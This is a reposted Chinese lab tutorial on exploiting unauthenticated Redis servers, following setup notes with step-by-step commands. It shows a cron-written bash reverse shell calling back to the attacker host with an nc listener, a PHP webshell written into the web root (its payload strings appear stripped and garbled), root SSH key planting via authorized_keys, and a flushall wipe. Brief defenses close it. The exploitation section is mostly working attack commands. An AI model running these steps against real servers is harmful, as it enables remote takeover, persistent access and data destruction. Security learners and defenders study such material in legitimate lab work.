栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Redis 未授权访问漏洞复现

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Redis 未授权访问漏洞复现

Redis 未授权访问漏洞复现 1.Redis 简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

  • Redis是一个开源的、使用c语言编写的NoSQL数据库。

  • Redis基于内存运行并支持持久化(支持存储在磁盘),采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。

  • Redis器程序是单进程模型

  • Redis服务在一台服务器上可以同时启动多个Redis进程,Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程, 当多个客户端同时访问时,服务器的处理能力是会有一-定程度的下降;若在同一台服务器上开启多个Redis进程,Redis在提高并发处理能力的同时会给服务器的CPU造成很大压力。即:在实际生产环境中,需要根据实际的需求来决定开启多少个Redis进程

2.漏洞产生条件:
  1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  2. 没有设置密码认证(默认为空),可以免密码远程登录redis服务。
3.漏洞危害:
  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  2. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件(webshell);
  3. 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
4.环境部署

靶机 Ubuntu :192.168.241.129

攻击机 kail: 192.168.241.128

Ubuntu下载安装最新redis

wget http://download.redis.io/releases/redis-6.2.7.tar.gz	//简易使用低版本Redis

解压并进入redis目录,由于有makefile文件,直接使用make编译的方式进行安装

出现“It’s a good idea to run ‘make test’”说明安装成功

然后进入src目录将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

sudo cp redis-cli /usr/bin
sudo cp redis-server /usr/bin

修改配置文件redis.conf

注释掉bind 127.0.0.1  ::1			//注释掉仅允许本地连接

将protected-mode设置为no,			//保护关掉

然后将redis.conf拷贝到/etc/目录下

sudo cp redis.conf /etc/

使用/etc/目录下的reids.conf文件中的配置启动redis服务

sudo redis-server /etc/redis.conf    //给redis-server服务root权限

表示启动成功

攻击机操作同靶机一样先进行安装

但是不需要修改配置文件,安装好之后进行漏洞复现

5.漏洞复现

kali:检测目标6379端口是否开放

nmap -p 6379 -script redis-info 192.168.241.129			//-p 指定端口进行扫描

在攻击机上的Redis服务文件夹路径下使用 以下命令远程登录

./redis-cli -h 192.168.241.129

redis-cli -h 目标主机IP地址 -p  端口号

在Redis 默认没有配置密码的情况下可以直接成功连接目标Redis服务器,输入info查看版本信息

可以查看redis 存放路径

CONFIG GET dir

config get dir 	获取redis用于文件持久化存储的路径
config get dbfilename 获取redis用于文件持久化存储的文件名
config set dir xxxx 修改路径
config set dbfilename xxx 修改文件名
savesave	命令是直接手动持久化内存中的数据

先开启监听

nc -lvp 4444
1.向目标写入任务计划,反弹shell
set x "n* * * * * bash -i >& /dev/tcp/192.168.241.128/4444 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save

如果save出现(error) ERR

就是redis-server服务没有root权限

此时使用

ps -ef | grep redis			//查找redis进程
然后sudo kill -9 pid把redis干掉
重新用sudo权限启动就可以了
2.写入webshell

利用条件

  • 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。
  • 我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件

Ubuntu要安装搭建PHP环境

指定目录的时候,目录要存在才不会报错,否则会报错

config set dir /var/www/html     设置web目录
config set dbfilename webshell.php  设置备份文件名
set shell ""  设置值
最好是写入:
set shell "rnrnrnrn"
或set shell "rnrnrnrn"
save  保存

在Ubuntu该目录下可以看到已经生成webshell.php

可以看到写入phpinfo可以成功访问

3.写入SSH公钥实现ssh登录

利用条件:

  • root权限
  • 开启了ssh密钥登录,存在/etc/.ssh文件

首先在攻击机中生成ssh公钥(生成的内容在.ssh中)

kali进入:/root/.ssh目录

ssh-keygen -t rsa		//两次要输入时,不写直接回车

将公钥写入到某个文件中,再复制到src目录下

(echo -e"n";cat id_rsa.pub;echo -e "n")>1.txt

cat 1.txt | redis-cli -h 192.168.241.129 -p 6379 -x set hack	//将1.txt中的内容作为值写入到hack中
redis-cli -h 192.168.241.129 -p 6379			连接redis

config set dir /root/.ssh		//更改redis备份路径为ssh公钥存放目录
config set dbfilename authorized_keys		//设置上传公钥的备份文件名字为authorized_keys
save						//保存
exit						//退出

注意,Ubuntu下没有./ssh目录,需要安装ssh

 sudo apt-get install openssh-server		//安装ssh
 /etc/init.d/ssh start						//启动服务
 /etc/init.d/ssh restart					//重启服务
 sudo su									//切换root
 ssh-keygen									//生成key,不用输入密码,两次直接回车

之后ll命令直接出现./ssh目录,该目录为隐藏目录,ls看不到

使用以下命令登录

ssh -i id_rsa root@192.168.241.129
建议靶机改为Centos,否则反弹shell失败

在Centos上使用,Ubuntu上行不通,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行

因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/

Ubuntu定时任务文件在/var/spool/cron/crontabs/
6.防御方法

1.禁止外部访问Redis服务端口;

2.禁止使用root权限启动redis服务;

3.配置安全组,限制可连接Redis服务器的IP;

4.设置密码,开启防火墙。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/850394.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号